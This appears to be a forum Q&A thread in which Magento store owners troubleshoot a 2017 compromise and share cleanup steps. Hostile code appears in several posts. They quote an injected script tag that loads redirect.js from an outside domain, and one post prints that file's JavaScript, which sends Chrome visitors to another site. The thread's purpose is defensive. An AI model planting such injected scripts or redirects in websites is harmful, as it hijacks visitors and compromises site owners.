9

Maybe it's infected by some virus.

My website starts redirecting to these infected URL.

http://mon.setsu.xyz
and some time https://tiphainemollard.us/index/?1371499155545
Infected links

what I did to solve.

  1. Commented .htaccess file ( nothing happen)
  2. Commented include folder ( nothing happen)
  3. Scanned complete server ( nothing happen no virus malware found)
  4. Changed CSS, media and js path from the database just to ensure that weather its PHP or any js is doing ( nothing happen)
  5. select * from core_config_data where path like '%secure%'; all links are ok UPDATE

I googled and many articles were written on this but they suggest it was a browser issue or my system is infected. An article on this even if I open the site on my phone or on my personal laptop, issues are same.

UPDATE 2

I found the row in the database which is affected. ( as Boris K. also saying)

In the core_config_data table design/head/includes value have a

<script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script>  

Which will be inserted in head section on page load.

If you visit the above URL you will get a script of redirect which is

   var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');

if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){

 var idToRedirect = document.currentScript.getAttribute('id'); 

window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}

Client website is working from afternoon once I removed that script. But the main problem is how that script inserted into the database.

One patch is also outdated so I updated that patch also.

UPDATE 3 The site is infected again. This is the script inserted in Admin section ( Admin->Configuration->General->Design->HTML Head->Miscellaneous Script) admin

And in database column database

I don't know what to do now. As I changed every password, Deleted all old users.

UPDATE 3

Till now that error doesn't come so it means by following the above steps we can overcome this issue.

UPDATE::4 Always install patches as it helps me in projects to make store less prone to these type of issues and patches are important as well. One can use https://magescan.com/ to check the issues on their website.

  • in your system may be affected please check it. check your browser. – Rama Chandran M Jul 10 '17 at 12:04
  • @RamaChandran when i google about this url almost every one suggestion that it was browser issue. I opened the site in my phone also same issue. – inrsaurabh Jul 10 '17 at 12:13
  • Please provide your website url – Rama Chandran M Jul 10 '17 at 12:16
  • 1
    I deleted <script src="<a href="melissatgmt.us/redirect_base/redirect.js">https://…>" id="1371499155545"></script> from design/head/includes. It still didn't work. And after I visited my website, that javascrip code is showing up again. Do you have any thought? Website address is hdvideodepot.com – Mark Jul 10 '17 at 19:18
  • 1
    Can you please add magento version tag? – sv3n Jul 10 '17 at 22:43
6

I found the injected code in the core_config_data table, under design/head/includes. Removed it and now the site is back to normal.

UPDATE: As everyone else mentioned, it happened again this morning. This time I got rid of it more easily from the Admin Panel under System > Configuration > General > Design > HTML Head > Miscellaneous Scripts. This is a huge vulnerability, I hope Magento is working on a patch.

UPDATE 2: The script came back again, so I changed the db password, cleared cache. About an hour later, the script is back. So I don't think it's being added thru the db. I just changed my admin password, let's see if it comes back again.

UPDATE 3: Since I changed the admin password yesterday on both of my affected sites, about 24 hours later both are still clean.

  • 2
    wow, this is a huge security breach, any idea what kind of vulnerability caused it? – Yehia A.Salam Jul 10 '17 at 16:06
  • 3
    Must be a hole in older versions of Magento. I have a site built on Magento 2.1 that did not get affected, but every site below version 2 is getting redirected. – Boris K. Jul 10 '17 at 16:14
  • This is a huge security issue. Does anyone knows how the code was injected into the table? That table is where, from the admin area, we can add styles and javascript to the website's footer/header. How could a hacker compromise that? Does it means they had access to the admin? – Peanuts Jul 10 '17 at 17:31
  • it keeps getting back after deleting it, not sure what to do – Yehia A.Salam Jul 10 '17 at 23:23
  • I detected malicious users on System > Permissions > Users. After removing them (and previously fixing the table core_config_data and changing the admin's password), it seems stable, but I'd like to know how that happened in the first place. The hole/backdoor may still be there and it's a mystery. – Peanuts Jul 11 '17 at 0:30
3

Same issue on another magento site. I discovered that a script is injected in the HEAD section of the page, requesting redirect_base/redirect.js from melissatgmt.us (then changed to another domain) but can't figure out how this shit is injected.

UPDATE: As mentioned by others, found the entry in core_config_data table and removed it but the record was back at next page reload. I changed the db password and now it seems to be defeated. I'm not sure the password change is the ultimate solution but anyway is a security improvement.

UPDATE 2: As stated by Jix Sas, accessing from config in magento administration is an easier solution than directly accessing the database table. But the shit keeps coming back every 10/15 minutes.

UPDATE 3: Changed admin password, checked & saved some cms pages (customer-service and about-us) that seemed to be somehow infected, disabled cache, cleaned cache several times (after every check & save of 'infected' cms page) no more script injected during the past 8 hours.

  • Yes, u r right, i got the row which is affected. – inrsaurabh Jul 10 '17 at 14:07
  • Note that the magento admin is accessible without problem and in the web log i can see that bot accesses are not affected. I think the malware is limited to the frontend and checks the browser's user agent. – ConsuLanza Informatica Jul 10 '17 at 14:17
  • so did you know where was it injected from? – Yehia A.Salam Jul 10 '17 at 15:57
  • yes I can confirm that it keeps coming back every 10/15 minutes, even after deleting the entry from the database – Yehia A.Salam Jul 10 '17 at 23:22
2

I changed the path to admin panel in app/etc/local.xml and it helps. The script is no longer added to design/head/includes.

Explanation :

In the app/etc/local.xml I changed <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin> Previously it was sitedomain.com/admin, and now path to admin panel will be sitedomain.com/new_admin_path

  • Sorry i didn't get you what you u did, kindly explain which path u chagned – inrsaurabh Jul 11 '17 at 11:15
  • In the app/etc/local.xml I changed <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin> Previously it was sitedomain.com/admin, and now path to admin panel will be sitedomain.com/new_admin_path – Eugenia Jul 11 '17 at 11:16
  • Ok i got it what u r suggesting – inrsaurabh Jul 11 '17 at 11:19
1

This is such a big Relief , i have restored my site 10 times since morning.

The Bug keeps on Coming again and again.

Whats the Ultimate solution?

Change DB Password? Change Root Password? Any Patch is Released?

I am not sure if this is related i have got below email from a Security Consultancy

Dear Sir or Madam,

We are Hatimeria, a Magento development company based in Switzerland, Poland, and The Netherlands.

Recently, we started working with a new client, and took over his old server. At the moment we accessed the server, we stumbled upon some malware, with which hackers were able to take over the server of the client, and use it as a “hackers machine” to hack other websites. Of course the client didn’t know that this was happening on his server.

We found database credentials of your website which was hacked through that server. Of course we won’t do anything with it, but I feel obliged to contact you and let you know what is going on. The hack was done through the Magento Cacheleak vulnerability, which might still be present on your store right now.

I advise you to immediately take care of that vulnerability, and change your database password. Our technicians say this should take about 30 minutes.

On the website MageReport you can see what else your website might be vulnerable to: https://www.magereport.com/scan/?s=

My primary intention of this email is not to make a customer acquisition, but if you need help securing your store, or have any other questions, we are happy to help.

With kind regards, Thomas Tanner

SO i guess Solution is Change DB password

1

We need to understand what is the MAIN cause for such spam injections

If your site was injected, please check your site on ALL THREE malware scans

https://magescan.com

https://www.magereport.com

https://sitecheck.sucuri.net/

I have a feeling this is due to missing security patch! If you see a patch missing, REPORT IT UNDER THIS TOPIC.

  1. Change Hosting access password Change database password Change admin login passwords HIDE ADMIN AND DOWNLOAD urls and hide /RSS/ from public view.

  2. Do full site virus scan, your hosting provider is able to scan the site if you cannot do it yourself.

  3. Go to Sysytem-->Users and see if there are any UNAUTHORIZED registered users on account.

0

I fixed the issue. Even after I deleted fhis file from <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> from the core_config_data table in design/head/includes value. It didn't resolve the problem. the script code was inserted again and again. To fix the problem, simply follow these three step.

  1. Delete the script code from the core_config_data table in design/head/includes.
  2. Change the database password including app/etc/local.xml credential.
  3. Clear Cache at root Magento folder using this command rm -rf var/cache/*

p.s I spent the whole day. Hopefully, this will work for you. And Make sure backup the file all the time.

0

this exact same thing happened to me just today! redirecting to the same website. however, I found the script in Magento admin panel under configuration>design>html head>misc scripts. there was this script : <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> i removed it from there and the website is working fine. i don't have the folder you said you found the script in. Any idea where it could be?(as you know the path to HTML head>misc scripts)

also, what did you do recently? maybe we can figure out the cause? for me, i installed a free newsletter popup which may be the cause. what about you?

UPDATE: well now the script is back. Someone tell me how can i access this script from the database to remove it please?

UPDATE 2: as stated by Mark, removing the script AND changing database password stopped this script from coming back. If anyone knows the name of this vulnerability, or if there is danger to the payment of the customers, please let us know.

protected by Community Jul 11 '17 at 11:12

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.